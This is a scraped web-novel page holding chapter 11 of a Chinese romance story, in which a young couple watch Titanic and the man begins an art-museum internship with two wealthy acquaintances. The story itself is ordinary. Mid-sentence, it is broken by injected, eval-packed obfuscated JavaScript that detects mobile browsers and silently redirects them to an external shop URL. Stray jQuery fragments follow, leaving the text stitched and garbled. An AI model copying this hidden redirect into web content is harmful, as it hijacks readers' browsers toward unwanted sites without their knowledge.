文趣网 > 其他小说 > 没礼貌怎么了 > 11. 第 11 章
    孙小挺家的电视还是老款,她上初中的时候换的,到现在快八年了,没钱换,就一直用着。

    因为旧电视没法投屏,沈曜就花几百块钱买了个投影仪,专门用来和孙小挺看电影用,然后被孙小挺嘲笑花钱买破烂。

    孙小挺不愿意看电影,每次都是沈曜求着她看,还净看些文艺电影,孙小挺一看就想睡觉。

    她看电影也只喜欢看些无脑的爆米花电影,像是血浆飞溅的恐怖片,或是搞笑低俗的喜剧片。

    虽然她谈过很多恋爱,但纯粹都是因为闲的,不想念书罢了。

    沈曜点开投屏,把窗帘拉上,沙发对面的白墙上映出投影。

    沈曜和孙小挺靠在沙发上,面前的茶几上摆着沈曜买的零食和西瓜。

    旁边的风扇徐徐吹着风,把沈曜额头的刘海都吹动了。

    当电影放到两个人在船舱里跳舞时,沈曜说:“你看他们俩跳得多开心。”

    孙小挺说:“可是他们都很穷。”

    沈曜:“但是他们的精神是富足的,你看露丝前面有多不开心,甚至都想要跳海。”

    孙小挺翻了个白眼,“她就是穷的,因为她自己手里没有钱,所以被迫去找那个有钱的。要我说,找那个有钱的也不算坏事,毕竟,爱情这东西值几个钱。”

    “你要不要这么现实。”沈曜小声说。

    “吃不饱饭的时候还整天做梦有什么用呢。”看看她爸妈不就知道了。

    除了长相一无是处的爸,一个容易犯傻遇事拎不清的妈。

    当露丝躺在沙发上让杰克给她画画的时候,沈曜说:“小挺,我也给你画一张画吧。”

    孙小挺指着屏幕说,“像这样?”

    “对。”

    孙小挺指着屏幕的手一巴掌呼在沈曜的脑门上,“疯了吧你。”

    “我画技很好,可以把你画得比她还美,但是你本来就长得美,在我心里没人比你还漂亮。”沈曜说这话时脸上露出一幅痴汉的表情。

    他接着说:“而且你不是给我们画室做过模特吗。”

    “那能一样吗,那是穿着衣服,这是全脱了。”孙小挺忍住再次想扇他的冲动。

    “有什么不一样的,在画师的眼里模特就是艺术的对象,和一瓶水,一捧花没有区别。”

    孙小挺斜着眼看他,“你说这话自己信吗,你这不跟上医院说男医生眼里你就是一块肉一样可笑。”

    “好吧,那你穿着衣服也行。”

    “不行,当模特那么累,我才不当。”

    “我很快的。”

    “一次十万,没钱别说话。”孙小挺看屏幕,看都不看他一眼。

    沈曜轻叹一口气,他本来也没抱多大希望,只得继续看电影。

    当电影演到最后,杰克松手,永远沉入到冰冷的海底的时候,沈曜说:“如果是我,也会这样做的。”

    孙小挺嗤笑一声,“那是因为你现在不在海里,你要是在,还指不定发生什么呢。”

    沈曜小声说:“我怎么会跟你抢木板呢。”

    “我不需要你的命,我也不想让谁欠我。但是如果是我,我会拼命活下去,我不会管其他人。”

    “我知道。”沈曜说。“一直都知道。”

    这也是他喜欢她的一点,她想要什么,从来都不会掩饰。孙小挺虽然脾气差,却没有坏心眼,她的一切都直来直往,在外人看来不好惹,可是只有熟悉她的人才知道,她只是做自己。

    沈曜羡慕孙小挺身上的那股劲儿,可是他不能,也无法活得这么随心所欲。

    人总是会被与自己相反的人吸引。

    一周过去,沈曜开始在石渠实习了。

    他的岗位叫艺术管理,名头听上去很艺术,实际上就是个干杂活的,又得帮忙备展,还得支持现场,再做些对接工作,还有乱七八糟的资料整理。

    但是沈曜很珍惜这个机会,因为对于他这种普通人家的孩子来说,在这个行业,石渠就是一个高不可攀的殿堂。

    实习的第一天,算上他和陈思匀一共三个实习生,另外一个是个男生,叫卫柯。

    沈曜看到卫柯的第一眼,就觉得这人真随性。

    实习的第一天穿着黑色宽松t恤,破洞牛仔裤,一身的链子,脖子上,手上,裤子上。

    最瞩目的还是他的耳钉,一边耳朵上三个。美术馆的灯光一打,钻石耳钉闪得扎眼。

    就他这身打扮来看,手上的黑色指甲油也显得不稀奇了。

    负责接待他们仨的人给他们人手发了一沓资料,基本都是跟美术馆展览有关的。

    这个夏天石渠有一场重要的展,是和美国的一个艺术博物馆合作的,到时候会有一批名画送到馆里展出,还有一些重要的艺术界人士来参加,三个人也被分别分配到这次展览中不同的岗位上,来为这次重要的活动做准备。

    卫柯和陈思匀相互认识,因此陈思匀就成了三人的中心。

    她给两人相互作了介绍,沈曜礼貌地打了个招呼,卫柯话不多,但也打了个招呼,一抬手浑身链子丁零当啷响,看着不像什么省事的主。

    沈曜以为卫柯会是艺术史之类的专业,没想到他是学雕塑的。

    看他这样子,很难把他与整天和泥巴打交道的专业联系在一起。

    他更像是,翘了课,开着豪车,副驾坐着美女出去到处玩的那种人。

    事实上,卫柯也确实是这种人。

    但是,他一般不翘课,除非这节课的内容他已经掌握了。

    卫柯的艺术天赋很高,和陈思匀这种家里把艺术当投资的不同,他家里人都是搞艺术的,也是最早一批出国留洋的。

    他不是为了家族继承,纯粹是个人兴趣。

    当然,雕塑也只是他的其中一个兴趣,他还有很多其他的兴趣,比如,架子鼓。

    架子鼓不是他唯一会的乐器,却是最感兴趣的。

    第一天实习结束当晚,陈思匀邀请两人一起聚餐,还抢着付了单。

    结束后,陈思匀还邀请两人去她家坐。

    陈思匀自己一个人住一个大平层,客厅的露台是敞开式的,视野很好。

    客厅里摆着陈思匀还没来得及收起来的小提琴,卫柯看见了,问她:“这是你以前那把吗。”

    陈思匀笑着说,“对,昨天收拾房间的时候打开来试了试,长时间不练还是有些生疏了。”

    说来也巧,陈思匀和卫柯小时候同报过一个小提琴课外班,那时候陈思匀还是想努力好好学的,就坚持天天上课。卫柯学了一段时间,就不去了。

    后来上了高中的陈思匀因为学校里的某个男生,突发奇想想去学架子鼓,竟然和卫柯又遇见了。

    不过卫柯已经打得很熟练了,他只是偶尔替自己的朋友带班,还帮陈思匀指导过,只不过陈思匀心不在此,最后也没再学了。

    高中毕业卫柯就出国了,陈思匀

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862642|212075||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    去美院学了油画,直到前段时间因为实习才又联系上。

    陈思匀给沈曜讲了两人相识的经历,只感叹时间过得真快。

    沈曜说:“你为什么没有出国呢。”

    陈思匀:“妈妈这几年在这边投资,想让我离得近一些。”

    沈曜说:“那你将来会出去吗。”

    “其实有考虑研究生出国,不过现在还不确定,也许就直接找工作了。”

    卫柯:“其实早点工作挺好的,学历这东西,有一个就够了。”

    陈思匀:“对你这种已经有目标的,当然再往下读就没有意义了。而且这行说实话,太吃天赋了。”她下意识看了下沈曜。

    卫柯摆弄了下琴弦:“这行只有天赋还不够。”

    确实,艺术行业,从来都是资本的行业。

    沈曜这样毫无背景的人,想在这个行业里闯出名堂,恐怕比登天还难。

    他就像误入了一个水晶宫的小虾,被耀眼的光芒吸引,可是进去之后才发现,小虾蹬腿翻起的波浪,不如巨龙的一个鼻息。

    坐了一会,沈曜就说要回去了。

    陈思匀说:“你回家还是回学校。”

    “我回学校。”

    “那也好,离得近。要不然我就送你了。”

    “你这说的,哪有女生送男生的。”

    卫柯看了一眼陈思匀,女孩家的心思隐秘,眼神却不会骗人。

    卫柯和沈曜同时离开,卫柯问要不要送他,沈曜说自己打车。卫柯打了个招呼,就开车走了。

    沈曜看了看时间,这个点还有一趟末班车,他走去了附近的公交站,夏夜的凉风吹拂。

    他想起刚才陈思匀问的那句,你回家还是回学校。

    沈曜小时候父母出了车祸,两个人先后在医院走了,只剩沈曜一个人,然后被姨妈收养了。

    那时候他只有五岁,只知道以后都要住在姨妈家了。

    姨妈人很好,他妹妹才一岁,可是她还是把沈曜视如己出。

    沈曜父母的赔偿金都用来沈曜这些年上学的支出了,等到了大学,也只够每年的学费,生活费只能靠沈曜自己打工。

    他很感激姨妈,但是成年后,他就不方便再住在姨妈家了。

    所以他不住校的时候,几乎都住在店里。

    这么多年,他想拥有的东西,从一根雪糕,到一根画笔,再到一个怀抱。

    他好想给孙小挺打个电话。

    他拿出手机,十一点多了,孙小挺一定睡了。

    如果这个时候自己打过去,她一定会骂自己。

    可是他还是想听听她的声音。

    沈曜按下了通话键,可是孙小挺接了。

    她果然不高兴,但是她说的是,“你今晚怎么不回来。”

    他解释:“晚上和今天一起入职实习的出去吃饭了,回去赶不上末班地铁了。”

    “那你不跟我说。”

    “小挺…你在等我吗。”沈曜声音有一丝颤抖。

    “等你个几把,下次不早点说就别回来了。”

    “我会的我会的,我以后每天都给你发消息告诉你回不回去。”沈曜急切地说。

    “爱发不发,我要睡觉了。”

    “晚安小挺。”

    “嗯。”

    孙小挺挂断了。

    沈曜看着手机上的通话记录,把手机按在自己的胸口,手机和心,不知道哪一个更热。